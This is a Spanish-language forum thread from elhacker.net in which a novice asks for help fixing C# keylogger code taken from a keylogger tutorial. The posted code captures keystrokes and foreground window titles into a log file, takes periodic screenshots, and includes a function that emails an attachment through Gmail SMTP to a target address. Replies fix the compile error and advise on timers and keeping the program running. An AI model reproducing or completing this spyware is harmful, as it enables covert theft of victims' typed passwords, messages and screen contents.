elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Cifrar documentos-carpetas con GnuPG en Linux y Windows


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  Error en Codigo Minusculas a Mayusculas C#
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Error en Codigo Minusculas a Mayusculas C#  (Leído 624 veces)
GangstaSik

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Error en Codigo Minusculas a Mayusculas C#
« en: 20 Octubre 2018, 11:02 »

El siguiente codigo para detectar cuando se pulsa ShiftKey y CapsLock y asi registrar las mayusculas en un log lo saque de:

https://docplayer.es/3204615-Titulo-creacion-de-un-keylogger-lenguaje-c-autor-doddy-hackman-temario.html

private void timer1_Tick(object sender, EventArgs e)
    {
        for (int num = 0; num <= 255; num++)
        {
            int numcontrol = GetAsyncKeyState(num);
            if (numcontrol == -32767)
            {
                if (num >= 65 && num <= 122)
                    if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) &&
                    Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                    {

                        string letra = Convert.ToChar(num + 32).ToString();
                        savefile("logs.html", letra);
                    }
                    else if
                    (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)))
                    {

                        string letra = Convert.ToChar(num).ToString();
                        savefile("logs.html", letra);
                    }
                    else if (Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                    {

                        string letra = Convert.ToChar(num).ToString();
                        savefile("logs.html", letra);
                    }
                    else
                    {
                       
                        string letra = Convert.ToChar(num j + 32).ToString();
                        savefile("logs.html", letra);
                    }
            }
        }
    }

Al querer compilar en esa parte en especifico me salta el siguiente error:
Error   CS0103   El nombre 'j' no existe en el contexto actual   Main

Ya segui las recomendaciones de VS y nada funciona  :-[ , espero me puedan ayudar y gracias de antemano.






En línea

ivancea96


Desconectado Desconectado

Mensajes: 3.409


ASMático


Ver Perfil WWW
Re: Error en Codigo Minusculas a Mayusculas C#
« Respuesta #1 en: 20 Octubre 2018, 12:51 »

Código
  1. string letra = Convert.ToChar(num j + 32).ToString();
num j


En línea

z3nth10n


Desconectado Desconectado

Mensajes: 1.583


"Jack of all trades, master of none." - Zenthion


Ver Perfil WWW
Re: Error en Codigo Minusculas a Mayusculas C#
« Respuesta #2 en: 21 Octubre 2018, 16:36 »

Básicamente, esa "j" no pinta nada ahí :rolleyes:
En línea


Interesados hablad por Discord.
GangstaSik

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Error en Codigo Minusculas a Mayusculas C#
« Respuesta #3 en: 22 Octubre 2018, 01:17 »

Básicamente, esa "j" no pinta nada ahí :rolleyes:

Gracias bro, ya elimine el string del num j.
Pero ahora me surgio otro problema, a la hora de depurar me abre la ventana de consola por un instante, luego se cierra y todo se detiene automaticamente. Cabe mencionar que no configure los Timer ya que quiero que todo se ejecute desde consola. Que estare haciendo mal? Disculpa que pregunte esque soy novato en esto.
 :huh:

using System.Runtime.InteropServices;
using System.Drawing.Imaging;
using System.Net.Mail;
using System;
using System.Net;
using System.Windows.Forms;
using System.Text;
using System.Drawing;

class Program
{
    private static void Main(string[] args)
    {}

    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(Keys teclas);
    [DllImport("user32.dll")]
    private static extern short GetAsyncKeyState(Int32 teclas);
    [DllImport("user32.dll")]
    private static extern short GetKeyState(Keys teclas);
    [DllImport("user32.dll")]
    private static extern short GetKeyState(Int32 teclas);
    [DllImport("user32.dll")]
    static extern IntPtr GetForegroundWindow();
    [DllImport("user32.dll")]
    static extern int GetWindowText(IntPtr ventana, StringBuilder
    cadena, int cantidad);

    string nombre1 = "";
    string nombre2 = "";

    public void savefile(string file, string texto)
    {
        try
        {
            System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
            save.Write(texto);
            save.Close();
        }
        catch
        {
            //
        }
    }

    private void timer1_Tick(object sender, EventArgs e)
    {
        for (int num = 0; num <= 255; num++)
        {
            int numcontrol = GetAsyncKeyState(num);
            if (numcontrol == -32767)
            {
                if (num >= 65 && num <= 122)
                    if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) &&
                    Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                    {

                        string letra = Convert.ToChar(num + 32).ToString();
                        savefile("logs.html", letra);
                    }
                    else if
                    (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)))
                    {

                        string letra = Convert.ToChar(num).ToString();
                        savefile("logs.html", letra);
                    }
                    else if (Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                    {

                        string letra = Convert.ToChar(num).ToString();
                        savefile("logs.html", letra);
                    }
                    
            }
        }
    }

    private void timer2_Tick(object sender, EventArgs e)
    {
        const int limite = 256;
        StringBuilder buffer = new StringBuilder(limite);
        IntPtr manager = GetForegroundWindow();

        if (GetWindowText(manager, buffer, limite) > 0)
        {
            nombre1 = buffer.ToString();
            if (nombre1 != nombre2)
            {
                nombre2 = nombre1;
                savefile("logs.html", "<br>[" + nombre2 + "]<br>");
            }
        }
    }

    public void screenshot(string nombre)
    {
        try
        {
            int wid = Screen.GetBounds(new Point(0, 0)).Width;
            int he = Screen.GetBounds(new Point(0, 0)).Height;
            Bitmap now = new Bitmap(wid, he);
            Graphics grafico = Graphics.FromImage((Image)now);
            grafico.CopyFromScreen(0, 0, 0, 0, new Size(wid, he));
            now.Save(nombre, ImageFormat.Jpeg);
        }
        catch
        {
            //
        }
    }

    private void timer3_Tick(object sender, EventArgs e)
    {
        string fecha = DateTime.Now.ToString("h:mm:ss tt");

        string nombrefinal = fecha.Trim() + ".jpg";

        string final = nombrefinal.Replace("_", "_");
        screenshot(final);
    }

    public void Gmail_Send(string usuario, string password, string
    target, string asunto, string mensaje_texto, string rutaarchivo)
    {
        MailAddress de = new MailAddress(usuario);
        MailAddress a = new MailAddress(target);
        MailMessage mensaje = new MailMessage(de, a);
        mensaje.Subject = asunto;
        mensaje.Body = mensaje_texto;
        Attachment archivo = new Attachment(rutaarchivo);

        mensaje.Attachments.Add(archivo);
        SmtpClient gmailsender = new SmtpClient("smtp.gmail.com", 587);

        gmailsender.UseDefaultCredentials = true;
        gmailsender.EnableSsl = true;
        gmailsender.Credentials = new NetworkCredential("TuMail@gmail.com", "Contraseña");
        gmailsender.Send(mensaje);
    }


}
« Última modificación: 22 Octubre 2018, 01:22 por GangstaSik » En línea

z3nth10n


Desconectado Desconectado

Mensajes: 1.583


"Jack of all trades, master of none." - Zenthion


Ver Perfil WWW
Re: Error en Codigo Minusculas a Mayusculas C#
« Respuesta #4 en: 22 Octubre 2018, 21:04 »

Debes poner un Console.Read();

Aquí más info: https://stackoverrun.com/es/q/2306334
En línea


Interesados hablad por Discord.
GangstaSik

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Error en Codigo Minusculas a Mayusculas C#
« Respuesta #5 en: 23 Octubre 2018, 11:08 »

Pues ya intente lo del Console.Read();
pero ni asi quiere andar el codigo, yo digo que mas bien a de ser el metodo Main lo que esta mal.  :(
Alguien que me heche una mano por favor.
« Última modificación: 24 Octubre 2018, 21:56 por GangstaSik » En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.730



Ver Perfil
Re: Error en Codigo Minusculas a Mayusculas C#
« Respuesta #6 en: 21 Noviembre 2018, 03:13 »

a la hora de depurar me abre la ventana de consola por un instante, luego se cierra y todo se detiene automaticamente. Cabe mencionar que no configure los Timer ya que quiero que todo se ejecute desde consola. Que estare haciendo mal?

Has descrito el comportamiento normal y esperado, ¿qué otra cosa esperabas?, jeje, tu método Main no contiene ninguna orden de interrupción (ej. Console.Read(); como ya mencionaron), por ende, la ejecución finalizará practicamente al instante despues de ejecutar el programa.  

Aparte, otra cosa muy importante a destacar, es que, cuando vayas a "configurar" los timers, debes tener en cuenta que por el hecho de añadir y activar un timer en una aplicación de consola eso no implica que por arte de magia la ejecución de la aplicación se vaya a poner en modo 'stand by'.
Hay diversas metodologías para solventar esto, como por ejemplo la utilización de un semáforo o similar (ej. clase Semaphore, o EventWaitHandle), o realizar una simple llamada a la función Console.Read() al final del método Main, o en su lugar un bucle "infinito" con llamadas al método Thread.Sleep(), o sencillamente crear un búcle de mensajes para el thread actual simplemente realizando una llamada al método System.Windows.Forms.Application.Run().

Ah, y por último, advertirte de que no se te ocurra usar la clase System.Windows.Forms.Timer puesto que está especificamente diseñado para ser usado en el entorno single-threaded (STA) de una aplicación con interffaz gráfica (GUI) y te dará problemas - no perceptibles a simple vista - de sincronización y de uso multi-threading en general. Utiliza la clase System.Threading.Timer en su lugar, o si prefieres puedes usar la clase System.Timers.Timer, sus diferencias en el modo de empleo son mínimas, y ambos cumplen con una implementación thread-safe.



Pues ya intente lo del Console.Read();
pero ni asi quiere andar el codigo

yo digo que mas bien a de ser el metodo Main lo que esta mal. :(

Y lo está. Quizás no entendiste bien lo que quiso decir el compañero @centurión, digo @zentillón, no... @z3nth10n (acho, qué nombre más chungo de escribir xD, me niego a pronunciarlo de nuevo, a partir de ahora: @Morty), en fin, el caso es que la orden Console.Read(); deberías añadirla a final del bloque del método Main, por la razón ya explicada más arriba.

Saludos.
« Última modificación: 21 Noviembre 2018, 04:35 por Eleкtro (sin pilas) » En línea


Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Mayusculas y minusculas « 1 2 »
.NET (C#, VB.NET, ASP)
birdez 13 5,437 Último mensaje 31 Mayo 2012, 00:39
por birdez
Duda con código de programa que convierte mayusculas a minusculas
ASM
[Kayser] 1 3,228 Último mensaje 23 Enero 2013, 22:10
por Eternal Idol
Mayusculas a minusculas problema c++
Programación C/C++
nolram 8 4,011 Último mensaje 17 Abril 2014, 23:45
por rir3760
minusculas/mayusculas en login
Programación Visual Basic
elezekiel 2 1,362 Último mensaje 28 Agosto 2014, 01:01
por elezekiel
Distingue de mayusculas y minusculas.
Bases de Datos
#Aitor 0 1,040 Último mensaje 28 Febrero 2017, 17:24
por #Aitor
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines